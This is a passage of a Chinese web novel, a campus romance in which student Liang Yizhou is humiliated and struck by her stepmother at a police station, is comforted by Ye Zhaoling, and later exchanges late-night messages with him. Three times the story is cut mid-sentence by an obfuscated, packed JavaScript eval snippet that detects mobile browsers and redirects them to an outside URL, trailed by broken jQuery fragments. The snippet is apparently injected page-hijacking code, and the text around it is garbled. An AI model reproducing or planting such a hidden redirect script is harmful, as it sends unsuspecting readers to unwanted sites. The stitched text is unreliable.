陈艳继续破口大骂:“我还以为是什么天大的事情!你可能是仙女下凡没过过人间的日子吧,我们巷子里的孩子都是互相卖不要的东西,怎么的,都是坏孩子,你全给抓起来呗!我就不理解了,你穿得漂漂亮亮的,怎么人这么刻薄!” 陈女士瞪大眼睛,无言以对,对着民警求助:“你看看她说的什么话!” 民警上前协调:“好了,都少说两句,现在不是谁声音大就是谁免责!梁宜舟妈妈,你女儿毕竟是有违规行为,人家妈妈也没说不让调解,你也不要太过分了,我们都是希望能够尽快妥善解决这件事。” 陈艳笑脸相迎,判若两人:“是,是,我这不也是实话实说。” 民警询问陈女士关键信息:“这位女士,您看这件事您想怎么处理呢?我们是建议让梁宜舟出面、口头都跟您和您的家庭道歉,退还所有的费用,并且保证以后绝不再犯,您看呢?” “不行!”陈女士态度坚决,“她在校期间做出这种事,必须严惩!校方那边我可以联系,警方也可以三方协助,她违规违纪就必须退学!” “不要!”陈艳一听慌了神,再次求助片区民警,毕竟平时都是抬头不见低头见的老熟人,“警察同志,您帮我女儿看看呢,这么点事怎么能影响孩子读书,好不容易才考上慕城大学,她妈妈死得早,我是她后妈,真的不容易啊!” 民警劝她先对着陈女士道个歉。 陈艳马上听从,对着陈女士连连鞠躬,一变再变,“陈女士,我没文化,我粗鲁,我没了解清楚情况,是我们家女儿不对,但是她不是个坏孩子,也是我们家太穷困了,实在是没给她零花钱,不然也不会做这样的事情,要不这样,我给您道歉,我免费去给你们家打工做保姆,我怎么都行,你别影响我女儿学习!” 陈女士到底是个体面人,司机也在一旁提醒,“陈教授,警方也联系了陈屿,朝陵带着他已经到了,正在隔壁办公室。” “他们俩也来了?” “嗯,警察联系的。” 陈女士头疼,说要先去看看他们俩。 陈艳着急一把抓住了她的胳膊,被陈女士尖叫着甩开。 陈艳赶紧又鞠躬,“不好意思,不好意思,你别走啊,我就是怕你走了,你别去找学校了,警察在这,你别担心,我们的错,我们都道歉,我们都认,我女儿也道歉,她不对,她做错事,她没脑子。” 说完陈艳一把拉过梁宜舟,按着她的脑袋往下鞠躬,梁宜舟虽然人还在犯懵,却下意识挣脱了一下,被陈艳甩手就是结结实实的一巴掌。 掌掴的声音清脆到民警就吓了一跳,紧急呵斥一声。 民警大声提醒双方:“孩子做错事,大人都有责任!教育都有失职!孩子家庭困难,不是做违法事情的理由,但是这确实不止是家庭问题,也是民生问题。” 陈艳看不过梁宜舟这副要死不活跟自己无关的样子,将民警的话视若罔闻,紧接着又是一巴掌拍到她清瘦的背脊上,闷响了一声,令梁宜舟吃痛得整个人往前踉跄了一步,“你道歉啊!你哑巴了!书还念不念了!” “我……” “够了。”叶朝陵带着陈屿从隔壁办公室疾步走出来,梁宜舟此刻像是被掠夺走了呼吸,不敢与他对视,只觉得羞辱感放大了十倍,一百倍。 “妈妈!又不是什么天大的事情,你搞这么大干什么!”陈屿无语地看他哥一眼,“哥!你说是不是!” 叶朝陵微瞪他一眼,陈屿吓得赶紧闭嘴。 “陈老师,她是我同学。”叶朝陵侧过身,挡在梁宜舟和陈女士中间,声音偏低,“陈屿年纪小,以后还要申请国外的大学,传到学校影响更不好。” 陈女士知道他不是在真心实意为陈屿说话,但也深知他这层意思的厉害性。 “但是就这么算了,是不是也不太合适?”陈女士不肯松口。 叶朝陵也几乎是低下头恳求的姿态,“以后我会帮陈屿辅导功课,多看着陈屿,结束这件事吧,别难为她。” 陈女士嗔怪地看他一眼,也不愿意再在两个孩子心里留下难缠坏人的印象,“好了,就道个歉,算了吧,我也不想跟他们多接触,那点钱我也不要了。” 陈艳接话比民警更快,拉着梁宜舟绕过叶朝陵,再一次按住她的头,使劲往下,几乎不松手,“道歉啊!快点!还要感谢!” “疼……” “快点!” 陈艳的手被叶朝陵死死握住,直接用力起开,他一把扶住刚抬起来整个人都在眼冒金星的梁宜舟,握住她的肩膀,问她:“还好吗?” 梁宜舟咬紧嘴唇,没有说话。 眼见着陈艳一遍又一遍的鞠躬,想起叶朝陵何曾有这样低声下气的模样,梁宜舟才站直身体,低哑着嗓子很艰难地挤出一句:“对不起……” 她鞠躬了很久,久到不愿意抬头。 倘若她动作幅度过大,她就又会撞进叶朝陵的臂弯中,他仍旧是没有离开的姿势;但她不愿意在此刻触碰他的呼吸和掌心温度。 明明世界这么大,却刚好被他撞见自己所有的谎言和难堪。 明明蝴蝶只是振翅,却在人心底地动山摇,粉碎了一切自尊。 11. 道歉 11、道歉 从派出所出来,陈艳抓着梁宜舟的胳膊,让她跟自己回家好好说清楚。陈艳手劲太大,梁宜舟挣脱不开,看见不远处司机给陈女士和叶朝陵拉开车门。 叶朝陵驻足,往她这边看,陈女士则头也不抬地拿手背敲打了他一下。 分神须臾,陈艳已经将梁宜舟拖拽半步。 “你别掐我胳膊了,疼!” “现在知道疼了,怎么不知道丢人呢?跟我回家去!” 梁宜舟用力甩了下自己的胳膊,喉咙生疼,“我没什么好说的。” “那也得跟我回家去!你最近别上课了,好好待着,我去找你们系主任!” “别啊!” “平时没少你吃的穿的,你拿钱到底要干什么!”陈艳拉不住梁宜舟了,索性一只手又把她的书包背带扭绕在自己手背上,“你说啊!你到底在做什么!” “给你儿子买礼物!”梁宜舟喊了一声,“你说我到底在做什么!” 梁宜舟本不想在大马路上跟陈艳起争执,但身上哪哪都像是被人打了一顿似的酸痛,她从早上七点五十睁眼到现在,已经快二十个小时没有合过眼。 她猛地打了个寒颤,“你关心吗?你真的关心过吗?梁琰没有自行车,每天跟在邻居孩子屁股后面转悠,又是哀求,又是讨好,他没吃过必胜客的披萨,孩子们拿剩下的几口给他吃,让他把零花钱拿出来才愿意带他玩一会儿,我连新校服都没有一件,我已经够自卑的了,我不想让梁琰也这样!你懂吗?” 陈艳表情痛苦,好似确实是第一次知道这个情况,“别说的好像我天天虐待你们俩一样!你就没有拿那些钱给自己买过东西?!” 梁宜舟苦笑着压低声音,想让自己喉咙舒服点,“没有,一件都没有。” 陈艳像是被灭了气焰,情绪起伏过大,一下子扶着腰想蹲坐在路边。 梁宜舟低着头问她:“我说了,你信吗?” 见她没有反应,梁宜舟只是咽了下口水,扯了下嘴角,说了句:“没意思。” 那有什么好说清楚的? 都难看,都难堪。 不是吗? / 梁宜舟妈妈小时候经常带她去逛花鸟市场,相比玻璃橱窗里华贵的婚纱礼服,她更喜欢指着鲜活的动植物问妈妈,他们怎么这么神奇?同一个品种居然可以开出这么多颜色的话,郁金香居然还有蓝色的。 那时候妈妈偶尔会买一两朵给她,一两只小金鱼也可以。 梁宜舟的爸爸不怎么管这些,吵架动手随便一推,就将透明鱼缸打翻在地。 一只小金鱼翻着肚皮被晾干在地上。 梁宜舟跪在地上拾起小金鱼,大哭一场,她想过把在这条小鱼埋葬在巷子口的大槐树下,但是妈妈告诉她,我们再等一等,也许小金鱼可以在水里重新活过来。于是,梁宜舟就这样盯着临时当鱼缸的白瓷碗。 小金鱼没有重新呼吸吐纳的迹象,却在梁宜舟沉沉熬夜入睡的第二天,留下了另一只刚刚从它的身体里复活的小金鱼。 比死去的那只颜色更淡,更透亮。 它什么都不清楚地游曳着,梁宜舟兴奋得端起白瓷碗,马上拿给妈妈看,忘记了失去小金鱼的悲伤,只有妈妈独自抹去了眼泪。 梁宜舟无端地想到那些画面。 很清晰,一帧一帧的,在她脑海里回放。 直到梁宜舟打了个喷嚏,整个脑袋都跟着震动了一下。 她顿住脚步,转身利落,问一路跟在她身后的人:“看够了吗?还跟着我?” 叶朝陵没有跟着陈屿和陈教授坐车回家,陈教授也没有多加阻拦,只是告诫他,离这些不三不四的人远一点,交朋友也要看看值不值得。 叶朝陵好似不在意她不友善找茬的语气,脸上也没有一丝不自在。 反倒是从口袋里去拿东西。 梁宜舟说:“别再给我糖果了,我不是什么别墅区大小姐,不吃这套的。” “不是糖果。” 梁宜舟说得飞速:“你也不要问我刚刚发生了什么,不知道,很混乱,知道你帮了我,谢谢你,但是我无以为报了。” 叶朝陵对此毫无惊诧之色,只是从口袋里掏出一包没有拆封的纸巾。 “这干什么?我又没哭……” 叶朝陵声音很淡,并非嘲笑,“你流鼻涕了你不知道?” 梁宜舟被哽住,下意识先伸手摸了一下,赶紧接过纸巾,“……谢谢。” “你现在去哪儿?” 梁宜舟假笑,“这位同学,我只是没有家,又不是没有宿舍可以回……” 叶朝陵定定地看她一秒,“要不要先去吃红豆沙?” “不要了。”梁宜舟低下头盯着自己的鞋尖,知道自己此刻一点都不可爱,像个无理乱蹿的小刺猬,她妈妈在世时也这样形容过她。 又凶,又心软,又窝囊。 “你别瞎操心了,回你温暖的别墅大家庭去。”梁宜舟很坦诚的说,“我心情糟糕透顶,身体也没有力气,我只想回宿舍自己待着。” “那记得吃药。” “记得就吃。” “我送你回去。” “不要。”梁宜舟不露声色的笑了下,“算了,走吧,不然你跟我一路,我好像也没什么道理赶你走。你愿意就一起走吧。” 叶朝陵神色稳定的匪夷所思,尤其是在今天这种窘迫的境地里。 “你知道就好。” “我怎么以前没发现你说话也挺欠揍的……”梁宜舟自在的吸了口气,远离刚刚那一堆破事,才算活过来,言语之间却有点酸涩,“你的绅士精神呢?我已经不是可爱的公主了,就没有了?” “梁宜舟。” “嗯?突然叫我干什么?” “事情没你想的那么严重,也没你想的那么丢脸。”叶朝陵沉吟少刻,“我也没觉得这样有多不可爱。” “好吧,谢谢你的安慰,不过真不用了。”梁宜舟照实说,“我经历的事情比今天多多了,这没什么的,睡一觉就忘记了。” “那睡一觉会忘记我们是朋友吗?” “那看你的‘睡一觉’是什么意思了。” 叶朝陵声音没有半点温度,脑子却是乱的,手指伸在口袋里突然握了下拳头,“我什么意思不重要,重要的是你敢吗?” “……” 落魄的公主,果然不会遇见绅士的骑士。 这个问题比鼻塞还严重,像是堵住了梁宜舟的大脑神经,她挑起的话题,她自己沉默终结,不打算再面对叶朝陵了。 / 梁宜舟只会消沉一整天,准确来说,是一整晚。 她从不允许自己有什么情绪反刍,反复复盘没有意义的事情,只是身心消耗。只有变得更独立、更优秀,才能获得更多向上的自由。 程如梨天天喊着要减肥,今天绝对不会再多吃碳水了。 但是在跟梁宜舟两个人吃完了大份麻辣香锅以后,程如梨苦恼地喊她一起去羽毛球场打球消食,梁宜舟欣然答应,毕竟没有太多能让她立刻开心的事情,运动算是一件,至少生理上会强行分泌多巴胺。 “场地不够,我们能拼个双打吗?”来询问的是季来之。 学校羽毛球馆场地有限,换衣间也预留了大部分给体育学院使用,程如梨先换好运动服走出来,见是帅哥,还是两个素颜大帅哥来问,立刻小鸡啄米答应下来,“没问题!但是我和我室友两个人都是业余水平!” “这个没事,我们也就是运动下,篮球场今天有训练被‘征用’了。” “好的,好的,那太好了!” 季来之主动张罗:“费用就我们来吧,你们饮料、矿泉水都有吗?” “有!我们带了矿泉水。”程如梨说,“客气啦,我们已经给过了。” “也行,我还是先去买两瓶运动饮料备着吧,跟我们一起打体力消耗大点。” 程如梨“嗯嗯”两声,抓着刚换好衣服走出来的梁宜舟,摇晃着她的胳膊说,“你们家叶朝陵跟朋友来打球,跟我们拼场地呢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093625|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梁宜舟蹙眉,“其他场地不是空着的吗?” “那谁知道,有人提前预订好了吧!” “好吧,那要不让给他们算了,我们去跑跑步,消耗的热量是一样的。” 程如梨保持微笑,声音细声细语:“说什么呢!好不容易有这种机会!跑什么步!我们俩一人一边,我不跟你抢叶朝陵,我去那边了哟。” “……别吧。” “运动饮料,要原味的还是柠檬味的?”叶朝陵跟季来之从自动贩卖机那边走过来,很自觉地一人一边分开到达女生旁边。 “啊?” “要哪个?” 梁宜舟看他一眼,“柠檬味的。” “嗯。” 在梁宜舟接过运动饮料之前,叶朝陵仍旧想替她拧开瓶盖,梁宜舟想伸手,被叶朝陵仗着身高优势,避开了梁宜舟。 梁宜舟较量似的,马上接了一句:“那我转你钱。” “不用。” “已经转了!”梁宜舟摇了摇从运动裙里掏出来的手机,碎发在她的耳侧,有点恼人,但是梁宜舟是中长发,扎起个丸子头很费劲。 叶朝陵没搭理她这句,又从口袋里拿出一个塑料包装还没拆的黑色发夹。 “……你怎么还有发夹这种东西?”梁宜舟假笑,没有要接过来的意思,“你女朋友的啊?这不太好吧。” “那边有卖的。” “哦,那还是学校会挣钱。” “不过我不要,你给别人吧,我头发特别细软,用发夹太松了没有用,太紧了头皮疼。”梁宜舟在他看向自己时,佯装别开眼看对面准备的怎么样,自嘲道,“虽然我没有公主命,但是公主病确实不少啦。” “打球吧,别扭公主。” “……” 梁宜舟随即脸微微发热,她自嘲可以,被叶朝陵这样喊着,反倒不自在了。 这场球打得还算酣畅淋漓,两个男生都很体贴,面对女生接球时用力一直收敛着,最后半小时留给他们俩对战。 程如梨高喊着“季来之加油”,这倒是激发了梁宜舟的斗志。 但是她酝酿了几下喊不出口,只是问程如梨,“你怎么还加油?” “他是我队友啊。” “现在都单打了。” “一天队友,一生队友,你懂不懂啊?”程如梨拿肩膀轻轻撞她一下,“怎么?你冷冷淡淡吊着叶朝陵胃口,我还不能走热热闹闹路线啦?” “我没吊他胃口。” “我看你们上次相约听心理讲座,就有种恋人未满的感觉,彼此眼里都看不见其他人。这次你怎么这么冷漠,你刚刚打球远离叶朝陵,都快站出球场了……” “有吗?” “有啊。”程如梨继续说,“我是火眼金睛好吧,还有接球的时候,你一个踉跄快摔倒了,见到叶朝陵一靠近,差点鲤鱼打挺,你在演什么身残志坚……” “我……”梁宜舟蹙起眉,“我很难解释,反正就是昨天在他面前丢人了,超级丢脸的那种,自尊心全无。” “额。” “根本不敢再见他那种。” “这有什么……我高中政治考过九分,被班主任当着全班的面批评,但是我初恋男朋友是我们班政治最高分哦,喜欢你的人只会觉得你是笨蛋美女,不会觉得你丢脸的哦。” “性质不一样。”梁宜舟回味了一下,还是忍不住夸赞说,“你好勇啊。” “你可以更勇,我打赌等下季来之要问我们,要不要一起吃个饭。”程如梨提前叮嘱,目光还停留在球场上,“你最好不要给我掉链子,什么丢不丢脸的。” “好的,为了你我也不会逃跑。” 果不其然,剧本按照程如梨设想的那样。 在四个人一起走出体育馆时。 季来之主动问:“要不要洗漱完,一起去吃个火锅?” 说完还指了下叶朝陵,“他可以。” 程如梨和梁宜舟同时开口。 “当然可以啦!” “我不可以。” 12. 失眠 12、失眠 程如梨出声制止:“不,她可以。” 梁宜舟也很想配合,但是有些抗拒与叶朝陵对视,只能抱歉地对着程如梨和季来之挤出一个笑容:“我真不行,我想回宿舍休息了。” 沉默显得有点漫长。 叶朝陵观察她几秒,缓声道:“今天算了,你先回去吃药休息。” 程如梨故作惊讶:“耶?你怎么知道我们家舟舟生病啦?” 梁宜舟诧然抬眼,拿球拍吓唬程如梨,“再问灭口。” “哦——”程如梨拖长尾音,冲季来之挑眉,“你知道为什么吗?” 季来之举手投降,“我比你知道的还少。” “这样啊,那吃火锅详谈吧。”程如梨目光炯炯地对叶朝陵说,“你应该不会想去了吧,那你就负责送舟舟安全回宿舍休息吧。” “没事,我先走了,你们去吃吧。” 梁宜舟没继续多说,她很笃定叶朝陵会跟过来,也没有矫情地回头,只是边走边关注夕阳里高她一头的影子,慢慢地靠近自己,又走远。 “你怎么不说话?”梁宜舟没头没脑地先发制人。 叶朝陵听到她提问,才上前半步,令余光能看见彼此。 感激又无奈的反应就明晃晃写在她脸上,“你总是这么有礼貌的吗?” “不好吗?” “很好。”梁宜舟坦诚说,“只是显得我虚伪,又不讲道理。” 叶朝陵温和地说:“昨天跟你说过了,我没有这样想过。” 昨天他说过,事情没有梁宜舟想的那么严重。 他也没有觉得梁宜舟有多不可爱。 梁宜舟脸上有微妙又急速的刺热感,“哦,不记得了。” “那今天再否定你一遍,我没有觉得你虚伪,不讲道理。” 梁宜舟忽然笑了下,“有时候真的不知道是谁在学心理学,谁更会开解别人。” 树荫下的光线有微热的气息,映红了掐断的茶树的一端,梁宜舟很快地瞥了一眼身侧的叶朝陵,表情有些捉摸不透。 “你本来也没有很难开解。” “你的意思是,我很好哄。” 叶朝陵绷直着背脊,正面对着她时,几乎可以居高临下地看着她,可供梁宜舟这样看过去的角度并不多,却很难忽略他的长相。 声音也十分好听。 像是落地就炸开的火树银花,目光看哪里都是稍纵即逝。 叶朝陵说:“我的意思是,你的性格底色本来就是快乐的,没有我,你也可以疗愈自己,何况那些事情,本来就没什么。” 梁宜舟心头一沉,除了她母亲小时候经常在一地碎盘子狼藉的房间里对她说,你是个快乐的小姑娘,几乎没有人这样形容过她。 “搞错了哦,我经常不快乐,才不像你,人生事事顺风顺水。”梁宜舟严肃脸,蚊子声音,“算了,这样说好像有点仇富,那我倒也没有。” “是吗?” “不是吗?” 叶朝陵沉吟片刻,“那打个赌,十年后再看吧,看谁的人生更快乐一点。” “行啊,给我这样的普通人一点逆袭的盼头,我争取超过你?”梁宜舟说完自己都觉得没自信,无所谓没当真地笑了笑。 叶朝陵看着她,没有立刻接话,嘴角只是轻轻弯了个弧度。 在梁宜舟转身的继续向前走的时候,偏低的声线才出现。 “那我赌你赢。” 梁宜舟不可置信地茫然回头,叶朝陵的嘴角的弧度没有下降和改变。 他比她还要自信。 梁宜舟微微张了张口,却始终没有搭腔。 她想说,那十年后,可不要耍赖。 但是她没提任何了。 赌什么不重要,反正也不会实现。 / 梁宜舟很少熬夜,她跟程如梨日夜颠倒打游戏的作息截然不同,就算上午第一节没有课,她也还是正常六点半就会起床,保持着高中作息。 她不太喜欢夜跑,反而更喜欢早晨在操场上走几圈,再帮室友带早餐回宿舍。 但是今晚她少见的失眠了。 程如梨很抱歉地小声拍了怕她的窗帘问:“舟舟,是不是我的鼠标声音打扰你啦?不好意思哇,我在‘坐牢’打一个副本,我大概还需要二十分钟。” “没事,跟你没关系,我可能是因为傍晚喝了一杯咖啡。” 宿舍其他室友也还没睡,有人笑说:“少见啊,居然失眠了。” “对,平时喝个拿铁什么的,今天社团学姐请客,我随手拿了杯冰美式。” “懂!但是冰美式还是不够‘毒’,我有一次不知道喝了个什么茉莉奶绿,都忘记是哪家的了,直接睁眼到凌晨五点。” 程如梨点头赞同,马上报出几个她的奶茶饮品“黑榜”,就连她这种一天一两杯奶茶的人喝下去都吃不消。 说完这句,程如梨秒发来微信消息。 不过舟舟,你确定失眠不是因为有什么心事吗? 梁宜舟苦笑了一下,手指飞速打字:确定,我无比想马上入睡。 程如梨那边又继续出现按键盘的声音,但是她这边屏幕还在显示输入中,梁宜舟主动回:你玩游戏吧,别八卦了,真跟叶朝陵没关系。 马上收到一个“收到”的可爱兔子表情。 梁宜舟几乎没有在凌晨2点刷过朋友圈,经常错过同学的八卦和脆弱时刻。以至于聊天也经常需要程如梨场外解读。 今夜随手一刷,居然刷到叶朝陵转发了一条网易云歌曲。 《与感情无关》。 叶蓓。 梁宜舟知道这位女歌手,上次刷到还是她跟老狼一起合唱《白衣飘飘的年代》,她很喜欢老狼唱校园民谣时沉闷和生机勃勃的冲突感。 他唱歌的八十年代、九十年代,好像校园里的落叶都是百合的味道,花瓣飞扬,任何少年少女的相遇都浪漫,都不会嫌晚。 梁宜舟戴上耳机,点开来听。 温柔干净的女声轻轻唱着: 不经意想起的从前,与感情无关。 我这样的想起你,与感情无关。 什么意思? 句句都是“与感情无关”,字字都是在诉说想念,具体某一个人。 他怎么也是这种半夜“网抑云”的风格? 梁宜舟不可置信地反复点进叶朝陵的微信去确认,不小心碰到他的头像,他没有设置“拍一拍”,总不能装作不是自己点的…… 梁宜舟正在寻找合适的表情包发过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093626|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 叶朝陵先发过来一句:还没睡? 梁宜舟如实说:对,喝了咖啡失眠了,看到你发的朋友圈。 叶朝陵:上次心理讲座喝的那种罐装咖啡没事? 梁宜舟:嗯,那天的没事。 叶朝陵:哦,那我发你一些助眠的轻音乐? 梁宜舟回了个“谢谢”的表情,反问他:你呢?你怎么也这么晚没睡? 叶朝陵回复的是一张啤酒瓶和烤串签子狼藉横放的照片。 叶朝陵:跟隔壁宿舍一起看球,还没结束。 梁宜舟纠结了三秒,还是手比脑子快,先问出疑惑,她担心自己今晚更加睡不着:这么欢乐的时刻,你怎么转发伤感情歌啊? 微信消息停滞了几分钟。 什么意思? 她问得太冒昧直接了? 梁宜舟拧紧眉心,讨厌这种等待回复的时刻。 明知道没有消息弹出来,还是忍不住反复点开微信。 她为了强迫自己转移注意力,点开了一本临时书架上的小说,第一章开头就是女主在等男主角的电话,心急如焚,担心男主角拒绝她联姻的请求。 月光嚣张,此刻正好挪进宿舍的窗台,照得人的情绪明晃晃的。 “什么啊。”梁宜舟极小声嘟囔。 这下更睡不好了。 叶朝陵却发来一条语音。 梁宜舟迅速点开,他那边确实还是嘈杂的声音,步伐好似越来越远,“抱歉,刚刚有同学把啤酒弄撒了,正好在我桌上,收拾了下。” 梁宜舟第一反应是发条语音过去,尝试躲进薄被子里小声说话,但是明显有些不自然,还会引起其他人的注意。 毕竟她几乎从来不会发语音消息。 梁宜舟最终还是老老实实回复:现在处理干净了吗? 叶朝陵:嗯。 梁宜舟想了想,好像没有什么从天而降的话题,只能回复:好的,那都早点休息吧,已经三点多了,明天还要上课。 叶朝陵回复了一句:晚安。 比她打字的“晚安”还快速,这也会轻易激起梁宜舟的不满。 总觉得好像很着急结束跟她的对话似的。 但是叶朝陵紧接着又发来一句:对了。 梁宜舟也秒回:什么? 叶朝陵:那不是伤感情歌,只是想到你,忘记问你今天有没有按时吃药。 啊? 梁宜舟将手机翻转过来,背对着枕头,呼吸微乱。 脑海里出现那句,只是想到你。 他好像从来不会忽略她提到的任何一句话。 梁宜舟又将手机拿起来,突然亮起的屏幕光刺激得她打了个喷嚏,吓了自己和隔壁床的程如梨一大跳,梁宜舟赶忙小声道歉:“抱歉,抱歉。” 她又看了一遍,确认叶朝陵在凌晨2点58分发了一句—— 只是想到你。 梁宜舟摸了摸自己的微微发热的脸,想企图跟上次一样“装睡过去”。 不对,上次不回复真不是故意的。 梁宜舟呼了口气,在没有想好回复什么之前,没有打一个字,以防叶朝陵那边先出现“正在输入中”。 叶朝陵先发来一句:晚安,以后也不要失眠。 13. 果酸 13、果酸 梁宜舟第一次见到程月照,就感受到了从小学芭蕾舞在一个人体态和容颜上的深刻影响力,她薄瘦的背脊有着好看的线条,只是穿了一件藕色开衫,手腕露在外面,纤细光洁,捏着两指,正微微低头给旁边的女生夹起睫毛上的碎发。 光打在她的背上,梁宜舟第一次觉得,不是镁光灯打在谁身上谁就是舞台上的女主角,而是女主角原本就自带一束月光。 “可算舒服了,我今天早上出门就一直感觉眼皮刺刺的疼……”女同学撒娇似的感谢着程月照,“太感谢你了!” 程月照给女同学先递了一张美乐蒂图样的纸巾,接着又拿起另一张擦了擦自己的指间,“能帮到你就好。” “帮我大忙了!”女同学端详了一下程月照的脸,“羡慕你的原生睫毛,比我这个假睫毛还长还浓密。” “我也有贴几根,不过贴之前我拿小剪刀稍微修剪了一下。” “这么厉害,超级自然,根本看不出来是假睫毛。” 程月照主动说,“给你发几个教程视频?很容易的。” “好呀,好呀,求转发。”女同学双手合十,“还能加你微信!超想看你朋友圈,我保证不会转发给任何同学看。” “没关系,我同一套图要发好几个软件平台的。”程月照轻声细语,“出去玩画个全妆,总是忍不住拍几百张的,你看到的朋友圈都是精修图了。” 她如此敞亮坦诚,以至于女同学先是一怔,而后才更加欣喜地表达了对她的喜欢,“太好看了!以后你发朋友圈我都要给你点赞,你不要嫌我烦啊。” “怎么会。” “等下拍短视频的时候也要站在你旁边。” 程月照很委婉的表达:“看官号运营同学安排。” 这位学校官号运营同学指的就是学社会宣传部的梁宜舟和她的部长。 部长借了一部网上流传拍短视频最好看的iPhoneXSMax,又同时在拍摄支架上安装稳当了一部高配的华为手机,两部机器同步开始,方便多角度拍摄剪辑。 梁宜舟提前把拍摄脚本打印了好几份,给主要演员分发到位。 她试了试镜头,问部长:“用手机就可以了吗?” “差不多吧,就学校账号的日常更新素材,没有那么高的质量要求。” “哦。”梁宜舟用荧光笔将脚本中需要操场俯视角全景的要求划出来,指给部长看,“我看还需要这样的俯瞰镜头,是不是还得借个无人机?” “不用,这个就用之前学校拍摄过的旧素材,复用一下就行。”暴热天,部长光站在阳光里调试了下设备,就已经满头大汗,难免抱怨,“我们昨晚这期素材就完事了,也不知道是学生会从哪里接到的苦活儿,根本没人想做。” 梁宜舟绷着一张脸,很认真的研究了下拍摄脚本,虽然只有短短二十秒,但是她还是觉得毕竟是官方账号发出的推送,应该尽可能严谨一点。 于是,梁宜舟又忍不住提问:“视频配乐可以更换吗?这个rapper之前有过‘辱女’的歌词,被很多粉丝在网上抵制。” “啊?你太敏感了吧,我看这个rapper很火啊,平时综艺节目都能上,应该没有被抵制吧,我们反正就用一下,评论区要是真不妙了再下架。”部长侧过身,特意避开其他演员同学,小声说,“到时候又不是我们负责运营账号。” 很快又补充一句:“脚本内容都是学校老师、学生会部长们对齐通过的。” 部长微微等她一眼,好似提醒她不要再多话了。 反正有事也不可能真的找到他们俩纯干活的。 “但是……” “别但是了,你去看下那两部手机,我平时不怎么拍照,直男审美,担心滤镜不是很合适,你先去试试看吧,在拍摄之前把细节参数都调好。” “好吧。” 梁宜舟领了活儿,拿打印纸遮在头顶,小跑着去了三米外的支架那边,烈日暴晒在她的脖颈,很快就发红发烫,比照在脸颊上更疼。 “你包里没有帽子或者伞吗?” 叶朝陵出现时,程月照先跟他遥远挥了下手,他两只手都拎着冰饮料,只是礼貌地微笑着点了下头。 走到梁宜舟身边时,梁宜舟被阳光刺得根本睁不开双眼,依旧拿A4纸挡在额前,见叶朝陵被晒得皮肤更白,唇色更深,像是拍什么沙滩广告。 梁宜舟的锁骨上有一根青筋忽然猛跳了两下,“真不公平啊。” 她蚊子声音,感慨着叶朝陵在烈日下毫不狼狈的美貌。 “什么不公平?” “哦,没有。”梁宜舟“胡言乱语”,“我说,大热天蚊子怎么不咬你。” “你被蚊子叮了?” “嗯。” “我有防虫贴。” 梁宜舟惊讶,“你怎么什么都有?”比女孩子还精致。 而后两秒又想了想,比她精致好像也不是什么难事。虽然她皮肤是容易起皮和出疹子的敏感类型,但是她也是晒不黑,甚至越晒越白那种。 “体育馆有卖。” 梁宜舟想起那天的发夹,忍不住吐槽,“体育馆自助贩卖机怎么什么都卖啊!” “因为有需要的人很多。” 那还怪我了? 梁宜舟轻轻吸了下鼻子,“行吧。” “我去买。”叶朝陵往前走两步,准备先去将冰饮料放下,回头发现梁宜舟没跟上来,吊着眼睛看向她:“不热吗?还不过来?” “我在调试设备。” “……那边没太阳的地方不能调试?” “也不是,支架放这里拍摄,应该是算好的位置。” “那就把手机拿过来。” 梁宜舟无语的想给自己一拳头,“是哦。” 她刚刚怎么没想到。 不是,叶朝陵来干什么? 梁宜舟看着他的背影,脑子被晒得有点低速运转,才想起这个问题。 叶朝陵走过去时,程月照很体贴地立即帮他接过去一袋冰饮,放在长桌上,直接打开了一袋,很熟络地问他:“有无糖的吗?我有发微信给你。” “有,按你们各自的需求下单的。” “太好了,谢谢五星好评‘快递’帅哥。” 叶朝陵没有接话,其他人也纷纷哄笑着接着感谢。 梁宜舟手上正拿着两部手机,走过来却喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093627|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发干,想找下自己的背包,好拿纸巾擦一下汗,她走到阴凉处才发现自己连锁骨上都是汗珠了。 她特意离远一点,没有靠近人群。 “纸巾。”叶朝陵另外又将一包防蚊贴垫在底下,“防蚊贴。” “哦。”梁宜舟没有刻意装作不认识叶朝陵,接过纸巾,“谢谢,记我账上。” “冰橙汁。”叶朝陵将大杯添加了椰果的冰橙汁贴在她脸上,这一突如其来吓得梁宜舟微微瞪大眼睛,毫无反应地看向他。 叶朝陵忙问:“抱歉,是冰到了吗?” “那倒没有。”梁宜舟讳莫如深的看了眼正在喝奶茶的程月照,继续往自己的包里掏,“果汁不用了,我包里有矿泉水,我没跟你们一起点奶茶,不用匀给我一杯了,给其他人吧。” 叶朝陵微微低头去寻找她的目光,“季来之特意叮嘱我,要给你也点一杯。” 